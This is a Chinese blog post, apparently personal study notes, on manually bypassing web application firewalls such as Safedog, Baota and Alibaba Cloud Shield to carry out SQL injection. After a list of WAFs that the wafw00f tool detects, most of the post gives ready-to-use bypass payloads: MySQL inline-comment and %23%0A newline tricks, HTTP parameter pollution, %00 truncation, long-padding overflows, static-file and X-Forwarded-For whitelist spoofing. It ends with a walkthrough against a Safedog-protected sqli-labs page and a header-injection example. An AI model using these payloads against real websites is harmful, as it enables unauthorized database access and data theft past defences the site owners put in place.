SQL注入之WAF手工绕过

前言

在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。

img

img

phpstudy+safedog安装找不到服务解决

参考链接:https://www.freesion.com/article/15621202542/

市面上常见的waf产品列表分析 wafw00f

1.工具简介

现在网站为了加强自身安全,通常都会安装各类防火墙。这些防火墙往往会拦截各种扫描 请求,使得测试人员无法正确判断网站相关信息。Kali Linux 提供了一款网站防火墙探测工具 Wafw00f。它可以通过发送正常和带恶意代码的 HTTP 请求,以探测网站是否存在防火墙,并识别防火墙的类型。

2.WAFW00F 怎么工作

发送正常的 HTTP 请求,然后分析响应,这可以识别出很多 WAF。
如果不成功,它会发送一些(可能是恶意的)HTTP 请求,使用简单的逻辑推断是哪一 个 WAF。
如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击。

3.参数

它可以检测很多 WAF。想要查看它能检测哪些 WAF,以-l 参数执行 WAFW00F

ACE XML Gateway                  Cisco
     aeSecure                         aeSecure
     AireeCDN                         Airee
     Airlock                          Phion/Ergon
     Alert Logic                      Alert Logic
     AliYunDun                        Alibaba Cloud Computing
     Anquanbao                        Anquanbao
     AnYu                             AnYu Technologies
     Approach                         Approach
     AppWall                          Radware
     Armor Defense                    Armor
     ArvanCloud                       ArvanCloud
     ASP.NET Generic                  Microsoft
     ASPA Firewall                    ASPA Engineering Co.
     Astra                            Czar Securities
     AWS Elastic Load Balancer        Amazon
     AzionCDN                         AzionCDN
     Azure Front Door                 Microsoft
     Barikode                         Ethic Ninja
     Barracuda                        Barracuda Networks
     Bekchy                           Faydata Technologies Inc.
     Beluga CDN                       Beluga
     BIG-IP Local Traffic Manager     F5 Networks
     BinarySec                        BinarySec
     BitNinja                         BitNinja
     BlockDoS                         BlockDoS
     Bluedon                          Bluedon IST
     BulletProof Security Pro         AITpro Security
     CacheWall                        Varnish
     CacheFly CDN                     CacheFly
     Comodo cWatch                    Comodo CyberSecurity
     CdnNS Application Gateway        CdnNs/WdidcNet
     ChinaCache Load Balancer         ChinaCache
     Chuang Yu Shield                 Yunaq
     Cloudbric                        Penta Security
     Cloudflare                       Cloudflare Inc.
     Cloudfloor                       Cloudfloor DNS
     Cloudfront                       Amazon
     CrawlProtect                     Jean-Denis Brun
     DataPower                        IBM
     DenyALL                          Rohde & Schwarz CyberSecurity
     Distil                           Distil Networks
     DOSarrest                        DOSarrest Internet Security
     DotDefender                      Applicure Technologies
     DynamicWeb Injection Check       DynamicWeb
     Edgecast                         Verizon Digital Media
     Eisoo Cloud Firewall             Eisoo
     Expression Engine                EllisLab
     BIG-IP AppSec Manager            F5 Networks
     BIG-IP AP Manager                F5 Networks
     Fastly                           Fastly CDN
     FirePass                         F5 Networks
     FortiWeb                         Fortinet
     GoDaddy Website Protection       GoDaddy
     Greywizard                       Grey Wizard
     Huawei Cloud Firewall            Huawei
     HyperGuard                       Art of Defense
     Imunify360                       CloudLinux
     Incapsula                        Imperva Inc.
     IndusGuard                       Indusface
     Instart DX                       Instart Logic
     ISA Server                       Microsoft
     Janusec Application Gateway      Janusec
     Jiasule                          Jiasule
     Kona SiteDefender                Akamai
     KS-WAF                           KnownSec
     KeyCDN                           KeyCDN
     LimeLight CDN                    LimeLight
     LiteSpeed                        LiteSpeed Technologies
     Open-Resty Lua Nginx             FLOSS
     Oracle Cloud                     Oracle
     Malcare                          Inactiv
     MaxCDN                           MaxCDN
     Mission Control Shield           Mission Control
     ModSecurity                      SpiderLabs
     NAXSI                            NBS Systems
     Nemesida                         PentestIt
     NevisProxy                       AdNovum
     NetContinuum                     Barracuda Networks
     NetScaler AppFirewall            Citrix Systems
     Newdefend                        NewDefend
     NexusGuard Firewall              NexusGuard
     NinjaFirewall                    NinTechNet
     NullDDoS Protection              NullDDoS
     NSFocus                          NSFocus Global Inc.
     OnMessage Shield                 BlackBaud
     Palo Alto Next Gen Firewall      Palo Alto Networks
     PerimeterX                       PerimeterX
     PentaWAF                         Global Network Services
     pkSecurity IDS                   pkSec
     PT Application Firewall          Positive Technologies
     PowerCDN                         PowerCDN
     Profense                         ArmorLogic
     Puhui                            Puhui
     Qcloud                           Tencent Cloud
     Qiniu                            Qiniu CDN
     Reblaze                          Reblaze
     RSFirewall                       RSJoomla!
     RequestValidationMode            Microsoft
     Sabre Firewall                   Sabre
     Safe3 Web Firewall               Safe3
     Safedog                          SafeDog
     Safeline                         Chaitin Tech.
     SecKing                          SecKing
     eEye SecureIIS                   BeyondTrust
     SecuPress WP Security            SecuPress
     SecureSphere                     Imperva Inc.
     Secure Entry                     United Security Providers
     SEnginx                          Neusoft
     ServerDefender VP                Port80 Software
     Shield Security                  One Dollar Plugin
     Shadow Daemon                    Zecure
     SiteGround                       SiteGround
     SiteGuard                        Sakura Inc.
     Sitelock                         TrueShield
     SonicWall                        Dell
     UTM Web Protection               Sophos
     Squarespace                      Squarespace
     SquidProxy IDS                   SquidProxy
     StackPath                        StackPath
     Sucuri CloudProxy                Sucuri Inc.
     Tencent Cloud Firewall           Tencent Technologies
     Teros                            Citrix Systems
     Trafficshield                    F5 Networks
     TransIP Web Firewall             TransIP
     URLMaster SecurityCheck          iFinity/DotNetNuke
     URLScan                          Microsoft
     UEWaf                            UCloud
     Varnish                          OWASP
     Viettel                          Cloudrity
     VirusDie                         VirusDie LLC
     Wallarm                          Wallarm Inc.
     WatchGuard                       WatchGuard Technologies
     WebARX                           WebARX Security Solutions
     WebKnight                        AQTRONIX
     WebLand                          WebLand
     wpmudev WAF                      Incsub
     RayWAF                           WebRay Solutions
     WebSEAL                          IBM
     WebTotem                         WebTotem
     West263 CDN                      West263CDN
     Wordfence                        Defiant
     WP Cerber Security               Cerber Tech
     WTS-WAF                          WTS
     360WangZhanBao                   360 Technologies
     XLabs Security WAF               XLabs
     Xuanwudun                        Xuanwudun
     Yundun                           Yundun
     Yunsuo                           Yunsuo
     Yunjiasu                         Baidu Cloud Computing
     YXLink                           YxLink Technologies
     Zenedge                          Zenedge
     ZScaler                          Accenture

4.命令:

wafw00f 域名/IP

image.png

部分 bypass sqlinject payload

id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23
id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/*!44509select*/%201,2,3%23
id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=-1%20union%20all%23%0a%20select%201,2,3%23
id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

WAF及绕过思路

1.WAF

Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。
首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。
如图,就是自带的阿里云盾:

image.png

宝塔一键化搭建(大部分非法网站都是使用的宝塔)

image.png

安全狗(用的比较多,是因为是免费的)

image.png

不开启全部是因为有些页面会出现误报

资源防护

image.png

image.png

image.png

流量防护

image.png

网站防护

image.png

漏洞防护

image.png

image.png

image.png

2.WAF绕过-应用层

1.大小写/关键字替换

id=1UnIoN/**/SeLeCT1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid() substring() 等价于substr()
@@user 等价于 User()
@@Version 等价于 version()

各种编码

大小写,URL,hex,%0A等

注释使用

//----+#//+:%00/!/等

再次循环

union==uunionnion

等价替换

user()=@@user()and=&or=|ascii=hex等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

s->%73->%25%37%33
hex,unlcode,base64等

更改请求提交方式

GET POST COOKIE等
POST->multipart/form-data

2.中间件HPP(HTTP参数污染)

HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。
原理:浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。
HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择:
通过HPP接管账户
当网站开发者不熟悉Web服务器对于多参数时如何选择,将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。
HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:

http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1

image.png

HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果

以参数color=red&color=blue为例

img

3.WAF绕过-数据库特性

1、Mysql技巧

image.png

(1)mysql注释符有三种:#、/**/、-- ...(注意--后面有一个空格,或者为--+)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/!UnIon12345SelEcT/1,user()//数字范围1000-50540
(4)mysql黑魔法
select{xusername}from{x11test.admin};

2、SQLServer技巧

(1)用来注释掉注射后查询的其余部分:
/*C语言风格注释
SQL注释
;00%空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a冒号
id=1union:select1,2from:admin
(4)函数变形:如db_name 空白字符

3、Oracle技巧

(1)注释符:--、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合FUZZ(SQLI FUZZ字典,SQL注入过滤关键字的Fuzz字典)

就是模糊测试,批量测试
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

5.数据库特性(补充)

%23x%0aunion%23x%0Aselect%201,2,3    
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

分析下句

%20union%20/*!44509select*/%201,2,3

image.png

绕过了waf

image.png

4.WAF绕过-逻辑层

1、逻辑问题
(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP
没有防护,直接访问HTTP站点绕过防护。
(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数
输入,从而导致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题
猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:

?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:

?a0=0&a1=1&.....&a100=100&id=1
union
select
1,schema_name,3
from
INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3、白名单
方式一:IP白名单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。

测试方法:修改http的header来bypasswaf

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势

涉及资源:

https://www.cnblogs.com/backlion/p/9721687.html

https://blog.csdn.net/nzjdsds/article/details/93740686

案例演示

WAF部署-安全狗,宝塔等waf搭建部署

宝塔:https://blog.csdn.net/weixin_43253175/article/details/105752439

1.以已经安装waf的sqlli-labs less2为例

image.png

直接输入payload会被拦截,无法注入

image.png

使用post提交方式即可绕过(前提条件是源码支持该提交方式)

image.png

页面显示不正常,是因为有些代码只支持特定的提交方式,比如该关是使用get提交方式,思路是对的,但是在本关是无法成功的

image.png

将本关源码get接收参数改为post,在判断回显位时可以正常注入

image.png

在进行回显位查询信息时,出现报错,是因为出现了过滤词database,是因为安全狗里面的漏洞防护规则里打开了防止查询数据库相关信息的规则

image.png

image.png

将该规则关闭之后可以正常注入

image.png

正常waf是开着的,所以针对拦截数据,我们可以针对数据进行相关的编译

image.png

image.png

将源码改为只允许GET

进行尝试,发现union不被拦截,select也不被拦截。而union select被拦截,说明是 union select关键词的问题。

image.png

原因是开启了拦截联合查询的规则

image.png

使用

%23是# 
%0A代表的是一个换行符

原理

#是为了闭合a ,使用%0A换行是为了将union和select连接起来。如果不换行的话union后面的#会将union后面所有的语句注释掉

image.png

image.png

image.png

image.png

参数污染

原理

/** */ 注释

语句没有执行

image.png

image.png

image.png

image.png

image.png

简要讲解安全狗,宝塔等防护waf策略规则

https://blog.csdn.net/cheng1432996862/article/details/100968815?utm_term=waf%E5%B8%B8%E8%A7%81%E8%A7%84%E5%88%99&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2allsobaiduweb~default-1-100968815&spm=3001.4430

简要演示安全狗 bypass sqlinject 防护规则

eg:
当前执行语句:
select * from users where id=-1 union select 1,2,3#*/
安全狗匹配的时候匹配的是
1/**-1 union select 1,2,3#*/
或1/**&id-1%20union%20select%201,2,3%23*/
其中符号中起到注释作用,正常情况下没有执行,
安全狗直接不管,但是参数污染导致的真实数据是
-1 union select 1,2,3#*/正常执行sql

实测简易CMS头部注入漏洞Bypass原理分析

抓包,注入点:X-Forwarded-For:
如:X-Forwarded-For:8.8.8.8' union select 1,2,3,database(),5#

image.png

image.png

image.png

posted @ 2021-11-27 11:14  流失流逝  阅读(2210)  评论(0编辑  收藏  举报